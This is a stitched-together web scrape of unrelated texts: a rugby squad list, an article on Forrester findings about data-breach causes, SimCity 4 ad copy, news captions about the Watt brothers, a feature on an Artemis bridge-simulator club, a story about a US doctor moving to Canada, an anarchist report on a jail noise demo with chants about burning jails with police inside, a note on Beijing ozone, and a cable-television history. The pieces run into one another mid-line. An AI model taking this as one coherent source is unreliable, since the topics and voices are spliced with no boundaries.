"We have a good blend in the backline with the likes of Henry Slade and Sam Hill stepping up from England Under 20 side that won the Junior World Championship last summer.
"In the back three, we're all excited about seeing Mathew Tait in an England shirt once more and having him, Elliot Daly, Tom Varndell and Semesa Rokoduguni available means we're strong in that area, and we will rotate the squad so everyone will get an opportunity.
"We've followed Semesa's progress since his days in the British Army, he's excited about playing for England after qualifying by residence and his form and the feedback from the Bath coaches has been excellent this season."
England Saxons
Forwards (14)
Nathan Catt (Bath Rugby)
Calum Clark (Northampton Saints)
Will Collier (Harlequins)
Sam Dickinson (Northampton Saints)
Dave Ewers (Exeter Chiefs)
Jamie George (Saracens)
Jamie Gibson (Leicester Tigers)
Graham Kitchener (Leicester Tigers)
George Kruis (Saracens)
Charlie Matthews (Harlequins)
Luke Wallace (Harlequins)
Alex Waller (Northampton Saints)
Dave Ward (Harlequins)
Scott Wilson (Newcastle Falcons)
Backs (11)
Miles Benjamin (Leicester Tigers)
Freddie Burns (Gloucester Rugby)
Elliot Daly (London Wasps)
Sam Hill (Exeter Chiefs)
Jonathan Joseph (Bath Rugby)
Dave Lewis (Exeter Chiefs)
Joe Simpson (London Wasps)
Henry Slade (Exeter Chiefs)
Semesa Rokoduguni (Bath Rugby)
Mathew Tait (Leicester Tigers)
Tom Varndell (London Wasps)Loss, theft and misuse rather than hacking remain the biggest problem
Most data breaches are caused by mundane events such as employees losing, having stolen or simply unwittingly misusing corporate assets, a Forrester Research report has found.
After questioning over 7,000 IT executives and ordinary employees across North America and Europe, 31 percent cited simple loss or theft as the explanation for data breaches they had experienced, ahead of inadvertent misuse by an employee on 27 percent.
External attack was mentioned in 25 percent of cases with abuse by malicious insiders on 12 percent. The same selection of causes was cited at much lower levels for business partners.
"Whether their actions are intentional or unintentional, insiders cause their fair share of breaches," said the authors. "Other common sources of breach include loss or theft of corporate assets, such as laptops or USB drives, and external attacks that target corporate servers or users."
Predictably, the arrival of mobile devices and the consumerisation of IT hasn't helped matters.
Most organisations formulate policies for securing mobile devices but, paradoxically, lack enough tools to enforce them.
Thirty-nine percent worried about a lack of data leak prevention on mobile devices, with half concerned about the consequences of old-fashioned theft. Thirty percent thought there wasn't sufficient separation between consumer and corporate data on mobile devices.
The commonest form of mobile device security is password entry plus remote lock and wipe with almost a quarter admitting they haven't started using any form of data protection at all.
"It's not simply just a matter of having the appropriate tools and controls in place. It's worth noting that only 56 percent of information workers in North America and Europe say that they are aware of their organisation's current security policies," said the authors.
When data is breached, personal (employee and customer) data accounted for 22 percent of cases reported, with IP not far behind with 19 percent and user credentials such as logins in 11 percent.
Forrester's findings probably confirm a simple maxim that data breaches are often accidental rather than malicious. What it doesn't speculate on is whether internal breaches are necessarily the most serious.
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Sign in with LinkedIn Sign in with Facebook Sign up to gain exclusive access to email subscriptions, event invitations, competitions, giveaways, and much more. Membership is free, and your security and privacy remain protected. View our privacy policy before signing up. Error: Please check your email address.In SimCity™ 4, you don’t just build your city; you breathe life into it. Sculpt mountains, dig riverbeds, and seed forests as you lay the groundwork for your creation. Then, use your god-like powers to construct the most realistic metropolis you can imagine.
Whether you want to build mansions on mountainsides or cross canyons with bridges, the impact of your decisions is immediate. But while each click of the mouse can create, it has equal capacity to destroy. Capping an erupting volcano might save your city, or it might reroute lava down busy city streets. Sending police to quell a riot might calm down the crowd, or it might spur even further anarchy. With every decision you make, your city and your Sims will respond – for better or for worse. It’s up to you to be their guide.
The SimCity 4 Deluxe Edition includes both SimCity 4 and the Rush Hour expansion pack, which gives you more control over your city’s transportation options, plus two bonus disasters: UFO attack and Autosaurus Wrecks.
We even included the exclusive Mac “Custom Tunes” feature that allows your iTunes library to be played in the game!
© 2014 Electronic Arts Inc. Electronic Arts, SimCity, EA, EA GAMES, the EA GAMES logo, Maxis and the Maxis logo are trademarks or registered trademarks of Electronic Arts Inc. in the U.S. and/or other countries. All Rights Reserved. EA GAMES™ and Maxis™ are Electronic Arts™ brands. Published and distributed by Aspyr Media, Inc. “Aspyr” and the Aspyr “star” logo are federally registered trademarks of Aspyr Media, Inc. Mac and the Mac logo are trademarks of Apple Computer, Inc., registered in the U.S. and other countries.Wisconsin's first family of football about to have three sons in NFL Share Shares Copy Link Copy
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0 00:00:11,011 --> 00:00:13,013 >> WE ARE THE WATT WORK IN 1 00:00:13,013 --> 00:00:14,014 PROGRESS, BECAUSE MY KIDS JUST 2 00:00:14,014 --> 00:00:14,014 KEEP DOING MORE AND I CAN'T KEEP 3 00:00:14,014 --> 00:00:17,017 UP. 4 00:00:17,017 --> 00:00:18,018 >> LIKE MANY MOMS, THIS MOM IS 5 00:00:18,018 --> 00:00:19,019 TRYING TO ORGANIZE HER KIDS 6 00:00:19,019 --> 00:00:21,021 SPORTS MEMORIES. 7 00:00:21,021 --> 00:00:23,023 >> THIS IS J.J.'S CORNER. 8 00:00:23,023 --> 00:00:26,026 >> TYPICAL MOM. 9 00:00:26,026 --> 00:00:27,027 ANYTHING BUT TYPICAL BOYS. 10 00:00:27,027 --> 00:00:28,028 OLDEST J.J. IS A DEFENSIVE END 11 00:00:28,028 --> 00:00:29,029 FOR THE HOUSTON TEXANS, MIDDLE 12 00:00:29,029 --> 00:00:30,030 SON DEREK PLAYS FOR THE LA 13 00:00:30,030 --> 00:00:32,032 CHARGERS, AND YOUNGEST SON T.J. 14 00:00:32,032 --> 00:00:33,033 IS SKIPPING HIS SENIOR YEAR WITH 15 00:00:33,033 --> 00:00:33,033 THE BADGERS TO ENTER THE NFL 16 00:00:33,033 --> 00:00:38,038 DRAFT. 17 00:00:38,038 --> 00:00:39,039 >> I DO HAVE THE HALF AND HALF 18 00:00:39,039 --> 00:00:40,040 JERSEY WHERE ITS GOT BOTH LOGOS. 19 00:00:40,040 --> 00:00:40,040 ON THE BACK, IT'S GOT BOTH OF 20 00:00:40,040 --> 00:00:41,041 THEIR NUMBERS. 21 00:00:41,041 --> 00:00:42,042 >> WE GOTTA GET A THIRD ONE. 22 00:00:42,042 --> 00:00:45,045 WE GOTTA FIGURE OUT HOW TO MAKE 23 00:00:45,045 --> 00:00:46,046 A THIRD JERSEY. 24 00:00:46,046 --> 00:00:47,047 >> YOU'RE ABOUT TO HAVE THREE 25 00:00:47,047 --> 00:00:48,048 SONS IN THE NFL PLAYING AT THE 26 00:00:48,048 --> 00:00:52,052 SAME TIME, HOW RARE IS THAT? 27 00:00:52,052 --> 00:00:54,054 >> I THINK IT'S PRETTY RARE. 28 00:00:54,054 --> 00:00:55,055 I KNOW THAT THERE HAVE BEEN 29 00:00:55,055 --> 00:00:57,057 OTHER BROTHER TANDEMS AND TRIOS 30 00:00:57,057 --> 00:00:58,058 IN THE NFL, BUT I'M NOT SURE HOW 31 00:00:58,058 --> 00:00:59,059 IT WORKS AS FAR AS TIMING IN THE 32 00:00:59,059 --> 00:01:00,060 NFL, BUT IF ALL OF THEM ARE 33 00:01:00,060 --> 00:01:01,061 PLAYING AT THE SAME TIME, I 34 00:01:01,061 --> 00:01:02,062 DON'T THINK ITS EVER BEEN DONE 35 00:01:02,062 --> 00:01:07,067 IN WISCONSIN HISTORY. 36 00:01:07,067 --> 00:01:08,068 >> THE SPOTLIGHT OF THE NFL A 37 00:01:08,068 --> 00:01:09,069 LONG WAY FROM PEWAUKEE HIGH 38 00:01:09,069 --> 00:01:13,073 SCHOOL'S FOOTBALL FIELD. 39 00:01:13,073 --> 00:01:14,074 >> THAT'S I THINK WHAT I LOVE 40 00:01:14,074 --> 00:01:15,075 THE MOST, IS YOU NEVER FORGET 41 00:01:15,075 --> 00:01:16,076 WHERE YOU CAME FROM AND IT'S A 42 00:01:16,076 --> 00:01:18,078 BIG PART OF WHO THEY ARE. 43 00:01:18,078 --> 00:01:19,079 >> J.J. DEREK AND T.J. SEEMED TO 44 00:01:19,079 --> 00:01:20,080 HAVE A TYPICAL MIDWEST 45 00:01:20,080 --> 00:01:22,082 UPBRINGING. 46 00:01:22,082 --> 00:01:25,085 >> ALL THREE OF THEM YOU COULD 47 00:01:25,085 --> 00:01:28,088 TELL WERE SUPER COMPETITIVE. 48 00:01:28,088 --> 00:01:28,088 THEY ALL HAD SOME ATHLETICISM IN 49 00:01:28,088 --> 00:01:29,089 THEM. 50 00:01:29,089 --> 00:01:31,091 I'M NOT SURE WHERE THEY GOT IT 51 00:01:31,091 --> 00:01:31,091 FROM BUT IT'S WONDERFUL THAT ALL 52 00:01:31,091 --> 00:01:32,092, THREE OF THEM GOT IT. 53 00:01:32,092 --> 00:01:33,093 >> IS THIS WHERE YOU COOK THE 54 00:01:33,093 --> 00:01:36,096 TWO SUPPERS? 55 00:01:36,096 --> 00:01:40,100 >> YES, IT IS. 56 00:01:40,100 --> 00:01:41,101 >> PEOPLE STILL ASK US ABOUT 57 00:01:41,101 --> 00:01:41,101 THAT YOU DIDN'T REALLY DO TWO 58 00:01:41,101 --> 00:01:42,102 SUPPERS DID YOU? 59 00:01:42,102 --> 00:01:43,103 EVERYDAY THEY CAME HOME AND ATE 60 00:01:43,103 --> 00:01:45,105 TWO FULL MEALS. 61 00:01:45,105 --> 00:01:46,106 >> AND NOW THEY'VE TRADED THEIR 62 00:01:46,106 --> 00:01:47,107 BIG GROCERY BILLS FOR BIG TRAVEL 63 00:01:47,107 --> 00:01:47,107 BILLS. 64 00:01:47,107 --> 00:01:50,110 >> WE ARE A-LISTERS ON 65 00:01:50,110 --> 00:01:50,110 SOUTHWEST, I CAN TELL YOU THAT 66 00:01:50,110 --> 00:01:52,112 RIGHT NOW. 67 00:01:52,112 --> 00:01:56,116 >> WE DEFINITELY SOAK IT UP, BUT 68 00:01:56,116 --> 00:01:57,117 THERE'S TIMES WHERE WE ARE 69 00:01:57,117 --> 00:02:02,122 RUNNING. 70 00:02:02,122 --> 00:02:02,122 >> THIS IS GOING TO BE AN 71 00:02:02,122 --> 00:02:03,123 INTERESTING YEAR COMING UP WITH 72 00:02:03,123 --> 00:02:04,124 NO BADGER GAMES AND HAVING TO 73 00:02:04,124 --> 00:02:05,125 DECIDE BETWEEN THE THREE, WHICH 74 00:02:05,125 --> 00:02:05,125 ONE WE ARE GONNA GO TO, SO IT'LL 75 00:02:05,125 --> 00:02:06,126 BE FUN. 76 00:02:06,126 --> 00:02:06,126 I'M SURE THERE WILL BE SOME COIN 77 00:02:06,126 --> 00:02:09,129 FLIPS INVOLVED. 78 00:02:09,129 --> 00:02:10,130 >> DO YOU HAVE A FAVORITE SON 79 00:02:10,130 --> 00:02:13,133 I'M GOING TO GO TO THAT GAME? 80 00:02:13,133 --> 00:02:14,134 >> YOU KNOW WHAT, THIS NEXT YEAR 81 00:02:14,134 --> 00:02:15,135 IT'LL PROBABLY BE A LOT OF T.J. 82 00:02:15,135 --> 00:02:15,135 BECAUSE IT'S HIS FIRST YEAR IN 83 00:02:15,135 --> 00:02:17,137 THE LEAGUE. 84 00:02:17,137 --> 00:02:18,138 >> ALL OF THEIR SONS FORMER 85 00:02:18,138 --> 00:02:19,139 BADGERS THEY WON'T KNOW WHERE 86 00:02:19,139 --> 00:02:20,140 THEIR YOUNGEST IS GOING UNTIL 87 00:02:20,140 --> 00:02:21,141 THE DRAFT IN APRIL. 88 00:02:21,141 --> 00:02:23,143 J.J. WAS DRAFTED BY THE TEXANS, 89 00:02:23,143 --> 00:02:23,143 DEREK BY THE CHARGERS, ARE YOU 90 00:02:23,143 --> 00:02:24,144 KIND OF HOPING YOUR THIRD SON IS 91 00:02:24,144 --> 00:02:26,146 DRAFTED BY THE PACKERS? 92 00:02:26,146 --> 00:02:28,148 >> THAT WOULD BE THE ULTIMATE I 93 00:02:28,148 --> 00:02:29,149 THINK. 94 00:02:29,149 --> 00:02:29,149 ALL THREE OF THE KIDS WOULD'VE 95 00:02:29,149 --> 00:02:30,150 LOVED TO PLAY FOR THE PACKERS 96 00:02:30,150 --> 00:02:32,152 OBVIOUSLY. 97 00:02:32,152 --> 00:02:32,152 ACTUALLY IF IT'S NOT THE 98 00:02:32,152 --> 00:02:33,153 PACKERS, WE ARE KIND OF HOPING 99 00:02:33,153 --> 00:02:34,154 FOR AN EAST COAST TEAM. 100 00:02:34,154 --> 00:02:35,155 >> I SAID I'D BE IN EVERY TIME 101 00:02:35,155 --> 00:02:39,159 ZONE. 102 00:02:39,159 --> 00:02:39,159 >> CONNIE CURRENTLY RUNS THE 103 00:02:39,159 --> 00:02:40,160 J.J. WATT FOUNDATION AND JOHN IS 104 00:02:40,160 --> 00:02:41,161 A RETIRED FIREFIGHTER. 105 00:02:41,161 --> 00:02:41,161 MOM AND DAD SAY THEIR SONS' 106 00:02:41,161 --> 00:02:42,162 SUCCESS HASN'T CHANGED THEM. 107 00:02:42,162 --> 00:02:43,163 >> IF ANYTHING WE JUST LIKE TO 108 00:02:43,163 --> 00:02:49,169 GIVE BACK MORE, BECAUSE YOU SEE 109 00:02:
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Royal Manticore Navy, they called their craft the HMS Artemis and filled out their division with real-life military of every type. Many had done service in the US Army or the Air Force, and a good chunk of their build was cobbled together from armed forces surplus equipment. All told it cost thousands of pounds and countless man-hours. It was well worth the effort though.
About a month after our initial meeting, the group invited me to play with them in the basement of one of their team members. Their bridge was semi-portable, taking a few hours to take down and a good few more to put back together again. Running on a half-dozen donated computers, a couple of network switches and an intimidating tangle of errant wires, the lights flickered on and the room came to life after we spent the better part of the afternoon fiddling with the ship's innards.
Once those switches had been flicked, I felt like I'd stepped onto the bridge of the Millennium Falcon - an iconic and powerful machine that also relied on some on some slapdash engineering to too keep operational. I was in a space and an ambience the likes of which I'd never seen, and I could see how Gene Roddenbury's vision was alive and well in this suburban basement.
I started out on the weapons console, my shipmates telling me it was one of the easier jobs to learn. I flicked a few switches, pressed some buttons to familiarise myself with the basic controls, which, again, were made by hand by the team to better represent the feel of each station from Star Trek. The console had a heft to it that appropriately matched the burden of the gunner, with a few clunky, additional buttons to arm different weapon types, switch between different kinds of torpedo tubes and raise or lower the shields.
Yes, you're right. This is as cool as gaming gets.
It was a lot to keep track of, but it felt surprisingly natural. Artemis' lead designer, Thomas Roberts said in an interview a few years back that one of his goals with the project was to make sure that watching classic science fiction felt almost like a tutorial for the game. Armed with all I'd absorbed from years of Star Trek, Battlestar Galactica, and Stargate I knew I should lead with weapons that can disrupt shields, and hit enemy ships when they were defenceless. Perhaps more importantly, I was already familiar with the typical visual shorthand for all of these ideas. Pulling from all of these shows, Artemis felt like a natural extension of all that I had learned - especially with the fan-made controls.
When the time came, I was a natural. We'd warp in, right next to our target, I'd launch a few volleys, start up the shields then finish with a nuclear weapon or two. After a few waves of failed assaults, the mercenaries took to assaulting civilians - and that's when the team got serious. Space monsters, horrible abominations known for being essentially invulnerable and absolutely ruthless, became our targets. We'd harass them a bit to get them to chase us before leading them straight to enemy strong holds and warping out. Precise shield control was absolutely vital - too much and we'd use up all our power; too little and we'd be torn to shreds in a matter of seconds. After an hour of careful planning, precise manoeuvring, excellent leadership, and perfect communication we'd cleared the mission.
For our next game, the team had me on engineering - a station more about making sure everyone else had the right amount of power at the right time and none of the components were overheating. Engineers had two main resources to manage - power and coolant. Both could be sapped by enemy weapons, and it was rare to have all systems capable of safely operating at maximum capacity all the time. Once again, the custom controls and years of being a sci-fi fan made it easy to adapt to the new station. After another hour we'd cleared one of the hardest missions currently available. We continued like this for a bit so that I could get some level of experience with each of the ships' systems, and familiarize myself with the majority of the basic tactics a successful crew needed.
We played into the night, until the team was comfortable letting me take the captain's chair. The seat was fashioned from some scrap that had seen actual combat in some war (though which one I'm not sure). The station was intimidating - built from intentionally aggressive, military-grade hardware. Even so, it was curiously comfortable. The privilege of sitting there was its own reward, an innate acknowledgement of the stresses of the position. Stresses that, despite my practice, I clearly wasn't ready for.
We stepped the difficulty down a bit and took things pretty slowly at first - though it was soon clear I had no idea what was doing. The beauty of Artemis is that its complexity is presented in stages - accessible to those who can understand and follow orders without question, but difficult for the ones that that need to think on the fly.
The software that runs Artemis is relatively cheap. The hardware you'll require, though, is something else altogether.
Superficially, the game is simple. Most of the tactics are similar, you'll rely on the same kinds of tricks again and again. The difficulty comes from the big picture - how you marshal the resources of ships and starbases around you, and how well you can keep everyone on your team working together and communicating effectively. At its most fundamental level, that's really what Artemis is about - communication. Cross-talk between the weapons and engineering or between the captain and the help keep the ship running well, and when those lines break down, it can all fall apart disturbingly fast.
I, not yet familiar with how to shout out command headings, told our helmsman to veer a bit too close to a black hole. We survived, but to do so we had to push our engines to their limits, nearly overheating the system and burning through an insane amount of power in the process. After that, we simply couldn't handle wave after wave of enemy ship. We tried a few clever strategies, but nothing quick made up for our resource deficit.
Failing your first time in the captain's seat is normal, I'm told. It's a learning process, a rite of passage, like Star Trek's Kobayashi Maru. Afterwards, I saw them run through the same mission with a more experienced captain without any problems, before we retired and finished off a box of pizza together. We chatted a bit, and I came to learn a bit about each of the people in this group. They weren't anything like I expected. These people had diverse backgrounds, and plenty of disparate interests, and they just happened to share this one game and a love of the Honorverse, a military science fiction universe by David Weber. Together, they told me, they'd found amazing friends, dedicated themselves to charity, community service, and acts of kindness.
These people, while not necessarily fans of Star Trek, were all linked to this utopian vision of the future. And while they spent a lot of time and money making a very expensive play set for what some might call a silly game, the reality of it is much more beautiful. These people were living the future they wanted to see.
Chris, the active-duty military service member, is preparing to leave his home and his family as he goes on tour once again. Faced with the inherent uncertainty and tension that service brings, he knows he's got a supportive community of friends that await his return.CTVNews.ca Staff
Disillusioned with the U.S. healthcare system, Dr. Emily Queenan moved from Rochester, N.Y. to join a medical practice in Penetanguishene, Ontario this fall. Now she’s sharing her observations on the Canadian medicare system, where she says it’s easier to get patients in for follow-up visits but harder for them to see a specialist.
Queenan, in general practice, said she found her patients in the U.S. system would often pay thousands of dollars out of pocket because private insurance never covers the whole bill. “I would see people go without care because of they were afraid of the costs,” she said.
Dr. Queenan and her staff in Rochester were spending more and more time trying to get reimbursed at the expense of hands-on care.
She wrote in her blog post, "Why This U.S. Doctor Is Moving to Canada" that she wasn’t alone – more than 100 U.S. doctors have relocated to Windsor, Ont. in the past decade.
“According to a survey conducted by the Commonwealth Fund, 66 million -- 36 per cent of Americans -- reported delaying or forgoing needed medical care in 2014 due to cost,” she wrote.
The Canadian Institute for Health Information keeps track of U.S. doctors moving to Canada and the recent numbers are:
2010: 88
2011: 63
2012: 76
2013: 92
2014: 116
“I think you would be hard pressed to find a primary care physician who felt I was crazy for leaving the United States,” Queenan said of her American colleagues.
In autumn 2014, Queenan moved her family to Penetanguishene, a scenic town on Georgian Bay, and a town in desperate need of doctors.
Four months later, she says she’s finding it easier to get paid for her work.
And it's easier to get patients to return for follow up care, she said, “because here money isn't at stake."
“I love that it doesn't matter that you are the CEO of the company or the part time landscaper, that you have access to the same health insurance, the same benefits.”
On the downside, Queenan was taken aback by the long waits to see a specialist, and she is now like other physicians in the midst of a cost-cutting battle between the Ontario government and its doctors.
Despite this tumultuousness, Queenan says, “there is still this commitment to primary care -- to primary care universal health care -- there is no worry that is going to go away.”
So far she says she has no regrets trading what she calls the injustices of the American system for the compromises that make up the Canadian one.
With a report from CTV’s Avis FavaroFrom It’s Going Down
“Next time you see me, I may be smiling
Oh bella ciao, bella ciao, bella ciao ciao ciao!
I’ll be in prison or on the T.V
I’ll say the sunlight dragged me here!”
On Saturday, March 4th at the Minnesota State Capitol, alt-righters, white nationalists, Bikers for Trump, and various other right-wing supporters of the Trump regime attempted to hold a rally and march as part of the nationwide “March for Trump” called by President Cheeto himself. Students for a Democratic Society and various autonomous anti-fascist groups in the Twin Cities called for counter-demonstrations in response. The day was sure to be a heated confrontation, and it was. A more detailed reportback and firsthand account will hopefully be written by those who were there but for now, a few important details:
Trump supporters came looking for a fight. When activists dropped a banner reading “Y’all racist” in the rotunda, Trump supporters grabbed them from behind, choked them, and even beat them. It wasn’t until after punches were thrown that people on the anti-Trump side began to fight back and defend themselves.
Several people were maced. No one knows who did the macing, if it was antifa, Trump supporters, or perhaps even undercover cops. But mace in a crowded indoor area such as the Capitol rotunda backfires easily.
Police were nowhere to be found until it was time to start arresting people and the arrests were entirely one-sided. 6 anti-fascists were arrested. One was let go and police said their court appearance papers would be mailed to them along with what their charges are. 5 others were held, initially for 48 hours. But, on Monday afternoon when they were supposed to be released we learned from a St. Paul police officer that they would be held for an additional 24 hours and would appear in court to be charged presumably with 2nd degree riot, a felony in Minnesota.
Trump supporters were reportedly seen pointing anti-fascists out for arrest and the police were openly cooperating with these Trump supporters. We should have no illusions whose side the police are on, but after Saturday it should definitely be crystal clear to anyone who might still for some reason be on the fence.
In light of these things mentioned above, those involved in anti-repression work in the Twin Cities as well as friends/comrades of the arrested anti-fascists decided to call for a noise demo in support of them. Noise demos have a storied history in the anarchist movement of breaking down the walls of the prison if only for a moment to show that those locked up inside are not forgotten. They also have a proven track record of hastening the release of comrades snatched up by the State.* It was the hope of those doing the demo that, in addition to the phone blast of city attorney John Choi already underway called by the Twin Cities General Defense Committee’s Anti-Repression Working Group, enough pressure would be put on the police state to release our comrades without charges.
It was late at night. We were gathered in the parking lot of a gas station just about to close. Confused passersby gawked at the gaggle of bad kids in black and wondered what the hell was going on and just went on about their business. Once a few late arrivals finally made it in and a bullhorn was ready, we started. Chants of “burn all the jails, burn all the prisons, just make sure the cops are in ’em!” echoed off the walls of the Ramsey County Adult Detention Center and St. Paul police headquarters.
Without a cop in sight, we decided to up the ante a little and get closer. As we approached a nearby courtyard marked with “No trespassing” signs singing “Do You Hear the People Sing” only a single police cruiser drove by and didn’t even slow down. Feeling emboldened, we decided to actually venture in to the forbidden courtyard. We were literally in the cops’ own backyard! Fuck the police chants continued to fill the air, the cacophony of pots and pans, the screaming of whistles, flutes, and recorders joining in. Shortly after 10:00PM, when a noise ordinance goes into effect in the city, we decided to wrap it up and disperse. A few shadows of those inside the jail were seen in the windows, and we greeted them with chants of “You are not forgotten” and “We’ll be back!”
As we dispersed, an anti-fascist song “Bella Ciao” was sung. Just as the lyrics say, we came to “shake the gates of hell.” We went into the belly of the beast, into the St. Paul police department’s own backyard, and woke up the motherfuckin’ neighbors. Police repression of our movements will only embolden us. Kidnapping our comrades will only invite our rage and our wrath. It is the love for our comrades and passionate devotion to total liberation that fuels our hatred of the police and the fascists representing the Trump regime. We will not be intimidated by right wing violence against our movements. We will not be intimidated by police repression. We will only be further enraged.
Our passion for freedom is stronger than their prisons!
*As of the writing of this article, all 5 arrestees have been released without charges. This doesn’t mean that they are totally out of the woods yet as there is still a chance that they could still be charged with something else, perhaps more minor charges, but it is certainly good news and proof that putting the pressure on them works!Ozone is becoming a growing problem in North China. The gas has already surpassed PM2.5 as the top pollutant in many cities. Photo: Visual China
As the summer heat continues to grip northern China after nearly two weeks, the readings of a barely visible pollutant — ozone — have been climbing as well.
In Beijing, the indexes of the commonly known small-particle pollutants such as PM2.5 and PM10 index peaked around 90 on Tuesday afternoon, relatively mild for a city that is often shrouded in smog during the winter, when the air quality indexes exceed 400 or even 500. But the citywide ozone index reading on Tuesday was more than 170, and in some areas, such as the Tongzhou district in the east, it was above 210, which meant serious pollution.Cable television first became available in the United States in 1948,[1] with subscription services following in 1949. Data by SNL Kagan shows that as of 2006 about 58.4% of all American homes subscribe to basic cable television services. Most cable viewers in the U.S. reside in the suburbs and tend to be middle class;[2] cable television is less common in low income, urban, and rural areas.[2]
According to reports released by the Federal Communications Commission, traditional cable television subscriptions in the US peaked around the year 2000, at 68.5 million total subscriptions.[3] Since then, cable subscriptions have been in slow decline, dropping to 54.4 million subscribers by December 2013.[4] Some telephone service providers have started offering television, reaching to 11.3 million video subscribers as of December 2013.[4]
History [ edit ]
First systems [ edit ]
It is claimed that the first cable television system in the United States was created in 1948 in Mahanoy City, Pennsylvania by John Walson to provide television signals to people whose reception was poor because of tall mountains and buildings blocking TV signals.[5] Mahanoy City was ideally suited for CATV services, since broadcast television signals could easily be received via mountaintop antennas and retransmitted by "twin-lead" or "ladder-lead" cable to the valley community below (where broadcast reception was very poor). Walson's "first" claim is highly disputed, however, since his claimed starting date cannot be verified.[6] The United States Congress and the National Cable Television Association have recognized Walson as having invented cable television in the spring of 1948.[5]
A CATV system was developed in the late 1940s by James F. Reynolds in his town of Maple Dale, Pennsylvania, which grew to include Sandy Lake, Stoneboro, Polk, Cochranton, and Meadville.
Even though Eastern Pennsylvania, particularly the counties of Schuylkill and Carbon in the anthracite coal region, had several of the earliest CATV systems, there were other CATV entrepreneurs scattered throughout the United States. One was James Y. Davidson of Tuckerman, Arkansas. Davidson was the local movie theater manager and ran a radio repair business on the side. In 1949, he set up a cable system to bring the signal of a newly launched Memphis, Tennessee station to his community, which was located too far away to receive the signal with set-top antennas alone.[citation needed]
Leroy E. "Ed" Parsons built the first cable television system in the United States that used coaxial cable, amplifiers, and a community antenna to deliver television signals to an area that otherwise would not have been able to receive broadcast television signals. In 1948, Parsons owned a radio station in Astoria, Oregon. A year earlier he and his wife had first seen television at a broadcasters' convention. In the spring of 1948, Parsons learned that radio station KRSC (now KKNW) in Seattle – 125 miles away – was going to launch a television station that fall. He found that with a large antenna he could receive KRSC's signal on the roof of the Hotel Astoria and from there he ran coaxial cable across the street to his apartment. When the station (now KING-TV) went on the air in November 1948, Parsons was the only one in town able to see television. According to MSNBC's Bob Sullivan, Parsons charged a $125 one-time set-up fee and a $3 a month service fee.[7] In May 1968, Parsons was acknowledged as the father of community antenna television.[8]
First commercial system [ edit ]
In 1950, Robert Tarlton developed the first commercial cable television system in the United States. Tarlton organized a group of fellow television set retailers in Lansford, Pennsylvania, a town in the same region as Mahanoy City, to offer television signals from Philadelphia, Pennsylvania broadcast stations to homes in Lansford for a fee. The system was featured in stories in The New York Times, Newsweek and The Wall Street Journal.[citation needed] The publicity of this successful early system set off a wave of cable system construction throughout the United States, and Tarlton himself became a highly sought-after consultant.[citation needed]
Tarlton used equipment manufactured by a new company, Jerrold Electronics. After seeing the success of the Tarlton system in 1950, Jerrold president (and future Pennsylvania governor) Milton Shapp reorganized his company to build equipment for the now-growing cable industry. In 1952, Tarlton went to work for Jerrold, helping to construct most of the major systems built by that company in the 1950s. Tarlton was also responsible for training many of the major operators of cable systems in the 1950s. In 2003, Tarlton was inducted in the Cable Television Hall of Fame for his work building the first widely publicized cable television company in America.[9]
Early growth [ edit ]
The rise of free broadcast television during the 1950s greatly threatened the established entertainment industry by offering an alternative to the common practice of regularly paying to see films. The possibility of turning free television viewers into paid television viewers was discussed early on. For example, after 25 million American televisions tuned to a musical version of Cinderella in 1957, executives calculated that had the network received 25¢ for each television tuned to the show, it would have earned more than $6 million without distribution costs.[10] However, due to many legal, regulatory and technological obstacles, cable television in the United States in its first 24 years was used almost exclusively to relay over-the-air commercial television stations to remote and inaccessible areas. It also became popular in other areas in which mountainous terrain caused poor reception over the air. Original programming over cable came in 1972 with deregulation of the industry.[1]
During the Federal Communications Commission (FCC)'s freeze on television licenses from 1948 to 1952,[11] the demand for television increased. Since new television station licenses were not being issued, the only way the demand was met, even in communities with one or more operating broadcast stations, was by Community Antenna Television (CATV), as early cable was known (so named because of the literal sharing of a very large receiving antenna by an entire community).
Regulation [ edit ]
Policy history [ edit ]
On August 1, 1949, T.J. Slowie, a secretary of the Federal Communications Commission, sent a letter to a Parsons, requesting he "furnish the Commission full information with respect to the nature of the system you may have developed and may be operating." This is the first known involvement of the FCC in CATV. An FCC lawyer, E. Stratford Smith, determined the Commission could exercise common carrier jurisdiction over CATV. The FCC did not act on this opinion and Smith later changed his mind after working in the cable industry for some time and testifying in United States Senate committee hearings. Senator and future FCC commissioner Kenneth A. Cox attended and participated in these hearings. He prepared a report for the Senate Committee on Interstate and Foreign Commerce against CATV and supporting the FCC policy of a television station in every community.
In 1959 and 1961, bills were introduced in Congress of the United States that would have determined the role of the FCC in CATV policy. Chief architect of some of these bills was an attorney Yolanda G. Barco. She was one of the first female executives in cable, described as the "principal attorney for cable television interests during the industry's formative years".[12] The 1959 bill, which made it to the floor of the Senate, would have limited FCC jurisdiction to CATV systems within the contours (or the broadcast range) of a single station; the bill was defeated. The 1961 bill proposed by the FCC would have given the Commission authority over CATV as CATV, and not as a common carrier or broadcaster. The Commission could then adopt rules and regulations "in the public interest" to govern CATV in any area covered both by CATV and broadcast television. No action was ever taken on this bill.
More important than Congressional action in determining Federal Communications Commission CATV policy were court cases and FCC hearings. In Frontier Broadcasting Co. v. Collier, broadcasters tried to compel the FCC to exercise common carrier authority over 288 CATV systems in 36 states. The broadcasters maintained that CATV went against the FCC's Sixth Report and Order, which advocated at least one television station in every community. In 1958, the FCC decided that CATV was not really a common carrier since the subscriber did not determine the programming. Carter Mountain Transmission Corp., a common carrier that already transmitted television signals by microwave to CATV systems in several Wyoming towns, wanted to add a second signal to two of the towns and add two signals to a previously unserved town. A television station in one town opposed this and protested to the FCC on the grounds of economic damage. A hearing examiner supported Carter Mountain but the Commission supported the television station. The case was taken to appeal, as most are, and the Federal Communications Commission won. "The fact that no broadcaster has actually gone off the air due to CATV competition at the time the government moved to expand its authority (nor have any since) did not stay the momentum for the expansion of regulatory authority. That some economic impact was merely plausible sufficed as the basis for government concern and government action." The FCC overruled a hearing examiner in favor of broadcasters again in the "San Diego Case". The CATV systems in San Diego, California wanted to import stations from Los Angeles, some of which could be seen in San Diego; the television stations in San Diego did not want the signals to be imported. The television stations won, not allowing the signals on future cable lines in San Diego and its environs. The FCC's reasoning was to protect existing and future UHF stations in San Diego.
